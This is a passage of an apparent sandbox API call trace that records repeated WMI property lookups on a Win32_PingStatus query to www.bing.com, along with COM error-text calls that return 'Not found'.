pType=0x28861d8*=8, plFlavor=0x28861dc*=64) returned 0x0 [0140.316] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__DYNASTY", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2886200*=0, plFlavor=0x2886204*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2886200*=8, plFlavor=0x2886204*=64) returned 0x0 [0140.316] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.316] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.316] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__RELPATH", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2886258*=0, plFlavor=0x288625c*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2886258*=8, plFlavor=0x288625c*=64) returned 0x0 [0140.316] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0140.316] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0140.316] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2886430*=0, plFlavor=0x2886434*=0 | out: pVal=0x59fe8ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2886430*=3, plFlavor=0x2886434*=64) returned 0x0 [0140.316] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__DERIVATION", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2886464*=0, plFlavor=0x2886468*=0 | out: pVal=0x59fe8ac*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea1f0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d099e0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2886464*=8200, plFlavor=0x2886468*=64) returned 0x0 [0140.316] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__SERVER", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2886498*=0, plFlavor=0x288649c*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2886498*=8, plFlavor=0x288649c*=64) returned 0x0 [0140.316] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.316] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.317] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28864e4*=0, plFlavor=0x28864e8*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x28864e4*=8, plFlavor=0x28864e8*=64) returned 0x0 [0140.317] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.317] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.317] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__PATH", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2886530*=0, plFlavor=0x2886534*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2886530*=8, plFlavor=0x2886534*=64) returned 0x0 [0140.317] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0140.317] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0140.317] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8f0 | out: puCount=0x59fe8f0*=0x2) returned 0x0 [0140.317] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8ec*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8ec*=0xf, pszText=0x0) returned 0x0 [0140.317] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8ec*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8ec*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.317] IWbemClassObject:Get (in: This=0x5ccc608, wszName="WriteVerboseStream", lFlags=0, pVal=0x59fe8ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2886770*=0, plFlavor=0x2886774*=0 | out: pVal=0x59fe8ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2886770*=0, plFlavor=0x2886774*=0) returned 0x80041002 [0140.317] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x59fe8d0 | out: pperrinfo=0x59fe8d0*=0x0) returned 0x1 [0140.318] CoGetClassObject (in: rclsid=0x5cd3354*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59fe530 | out: ppv=0x59fe530*=0x5d099e0) returned 0x0 [0140.319] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d099e0, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59fe748 | out: ppvObject=0x59fe748*=0x0) returned 0x80004002 [0140.319] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5d099e0, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe754 | out: ppvObject=0x59fe754*=0x5d09a10) returned 0x0 [0140.319] WbemStatusCodeText:IUnknown:Release (This=0x5d099e0) returned 0x0 [0140.319] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d09a10, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe374 | out: ppvObject=0x59fe374*=0x5d09a10) returned 0x0 [0140.319] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d09a10, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59fe328 | out: ppvObject=0x59fe328*=0x0) returned 0x80004002 [0140.319] WbemStatusCodeText:IUnknown:AddRef (This=0x5d09a10) returned 0x3 [0140.319] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d09a10, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59fdc84 | out: ppvObject=0x59fdc84*=0x0) returned 0x80004002 [0140.319] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d09a10, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59fdc34 | out: ppvObject=0x59fdc34*=0x0) returned 0x80004002 [0140.319] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d09a10, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fdc40 | out: ppvObject=0x59fdc40*=0x0) returned 0x80004002 [0140.319] CoGetContextToken (in: pToken=0x59fdca0 | out: pToken=0x59fdca0) returned 0x0 [0140.319] CoGetContextToken (in: pToken=0x59fe0b4 | out: pToken=0x59fe0b4) returned 0x0 [0140.319] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d09a10, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe134 | out: ppvObject=0x59fe134*=0x0) returned 0x80004002 [0140.320] WbemStatusCodeText:IUnknown:Release (This=0x5d09a10) returned 0x2 [0140.320] WbemStatusCodeText:IUnknown:Release (This=0x5d09a10) returned 0x1 [0140.320] CoGetContextToken (in: pToken=0x59fe734 | out: pToken=0x59fe734) returned 0x0 [0140.320] CoGetContextToken (in: pToken=0x59fe694 | out: pToken=0x59fe694) returned 0x0 [0140.320] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d09a10, riid=0x59fe764*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x59fe760 | out: ppvObject=0x59fe760*=0x5d09a10) returned 0x0 [0140.320] WbemStatusCodeText:IUnknown:AddRef (This=0x5d09a10) returned 0x3 [0140.320] WbemStatusCodeText:IUnknown:Release (This=0x5d09a10) returned 0x2 [0140.320] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5d09a10, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x59fe8c4 | out: MessageText=0x59fe8c4*="Not found ") returned 0x0 [0140.320] SysStringByteLen (bstr="Not found ") returned 0x14 [0140.321] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8b4 | out: puCount=0x59fe8b4*=0x2) returned 0x0 [0140.321] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8b0*=0xf, pszText=0x0) returned 0x0 [0140.321] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.321] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8b4 | out: puCount=0x59fe8b4*=0x2) returned 0x0 [0140.321] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8b0*=0xf, pszText=0x0) returned 0x0 [0140.321] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.321] IWbemClassObject:GetNames (in: This=0x5ccc608, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe8bc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe8b0 | out: pNames=0x59fe8b0*="\x01ƀ\x04") returned 0x0 [0140.321] SafeArrayGetDim (psa=0x5cea0d0) returned 0x1 [0140.321] SafeArrayGetDim (psa=0x5cea0d0) returned 0x1 [0140.321] SafeArrayGetLBound (in: psa=0x5cea0d0, nDim=0x1, plLbound=0x59fe748 | out: plLbound=0x59fe748) returned 0x0 [0140.322] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.322] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.322] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.322] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.322] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.322] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.322] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.322] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.322] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.322] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.322] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.322] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.322] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.322] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.322] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.322] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.322] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.322] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.322] SysStringByteLen (bstr="__PATH") returned 0xc [0140.322] SysStringByteLen (bstr="__PATH") returned 0xc [0140.322] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__GENUS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2886b50*=0, plFlavor=0x2886b54*=0 | out: pVal=0x59fe8ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2886b50*=3, plFlavor=0x2886b54*=64) returned 0x0 [0140.323] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__CLASS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2886b84*=0, plFlavor=0x2886b88*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2886b84*=8, plFlavor=0x2886b88*=64) returned 0x0 [0140.323] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.323] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.323] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2886bdc*=0, plFlavor=0x2886be0*=0 | out: pVal=0x59fe8ac*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2886bdc*=8, plFlavor=0x2886be0*=64) returned 0x0 [0140.323] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__DYNASTY", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2886c04*=0, plFlavor=0x2886c08*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2886c04*=8, plFlavor=0x2886c08*=64) returned 0x0 [0140.323] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.323] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.323] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__RELPATH", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2886c5c*=0, plFlavor=0x2886c60*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2886c5c*=8, plFlavor=0x2886c60*=64) returned 0x0 [0140.323] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0140.323] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0140.323] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2886e34*=0, plFlavor=0x2886e38*=0 | out: pVal=0x59fe8ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2886e34*=3, plFlavor=0x2886e38*=64) returned 0x0 [0140.324] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__DERIVATION", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2886e68*=0, plFlavor=0x2886e6c*=0 | out: pVal=0x59fe8ac*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea100*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d099e0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2886e68*=8200, plFlavor=0x2886e6c*=64) returned 0x0 [0140.324] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__SERVER", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2886e9c*=0, plFlavor=0x2886ea0*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2886e9c*=8, plFlavor=0x2886ea0*=64) returned 0x0 [0140.324] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.324] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.324] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2886ee8*=0, plFlavor=0x2886eec*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2886ee8*=8, plFlavor=0x2886eec*=64) returned 0x0 [0140.324] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.324] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.324] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__PATH", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2886f34*=0, plFlavor=0x2886f38*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2886f34*=8, plFlavor=0x2886f38*=64) returned 0x0 [0140.324] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0140.324] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0140.324] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8f0 | out: puCount=0x59fe8f0*=0x2) returned 0x0 [0140.324] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8ec*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8ec*=0xf, pszText=0x0) returned 0x0 [0140.324] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8ec*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8ec*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.325] IWbemClassObject:Get (in: This=0x5ccc608, wszName="WriteDebugStream", lFlags=0, pVal=0x59fe8ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2887168*=0, plFlavor=0x288716c*=0 | out: pVal=0x59fe8ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2887168*=0, plFlavor=0x288716c*=0) returned 0x80041002 [0140.325] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x59fe8d0 | out: pperrinfo=0x59fe8d0*=0x0) returned 0x1 [0140.326] CoGetClassObject (in: rclsid=0x5cd3354*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59fe530 | out: ppv=0x59fe530*=0x5d099e0) returned 0x0 [0140.326] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d099e0, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59fe748 | out: ppvObject=0x59fe748*=0x0) returned 0x80004002 [0140.326] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5d099e0, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe754 | out: ppvObject=0x59fe754*=0x5d09a20) returned 0x0 [0140.326] WbemStatusCodeText:IUnknown:Release (This=0x5d099e0) returned 0x0 [0140.326] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d09a20, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe374 | out: ppvObject=0x59fe374*=0x5d09a20) returned 0x0 [0140.326] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d09a20, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59fe328 | out: ppvObject=0x59fe328*=0x0) returned 0x80004002 [0140.327] WbemStatusCodeText:IUnknown:AddRef (This=0x5d09a20) returned 0x3 [0140.327] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d09a20, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59fdc84 | out: ppvObject=0x59fdc84*=0x0) returned 0x80004002 [0140.327] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d09a20, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59fdc34 | out: ppvObject=0x59fdc34*=0x0) returned 0x80004002 [0140.327] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d09a20, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fdc40 | out: ppvObject=0x59fdc40*=0x0) returned 0x80004002 [0140.327] CoGetContextToken (in: pToken=0x59fdca0 | out: pToken=0x59fdca0) returned 0x0 [0140.327] CoGetContextToken (in: pToken=0x59fe0b4 | out: pToken=0x59fe0b4) returned 0x0 [0140.327] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d09a20, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe134 | out: ppvObject=0x59fe134*=0x0) returned 0x80004002 [0140.327] WbemStatusCodeText:IUnknown:Release (This=0x5d09a20) returned 0x2 [0140.327] WbemStatusCodeText:IUnknown:Release (This=0x5d09a20) returned 0x1 [0140.327] CoGetContextToken (in: pToken=0x59fe734 | out: pToken=0x59fe734) returned 0x0 [0140.327] CoGetContextToken (in: pToken=0x59fe694 | out: pToken=0x59fe694) returned 0x0 [0140.327] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d09a20, riid=0x59fe764*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x59fe760 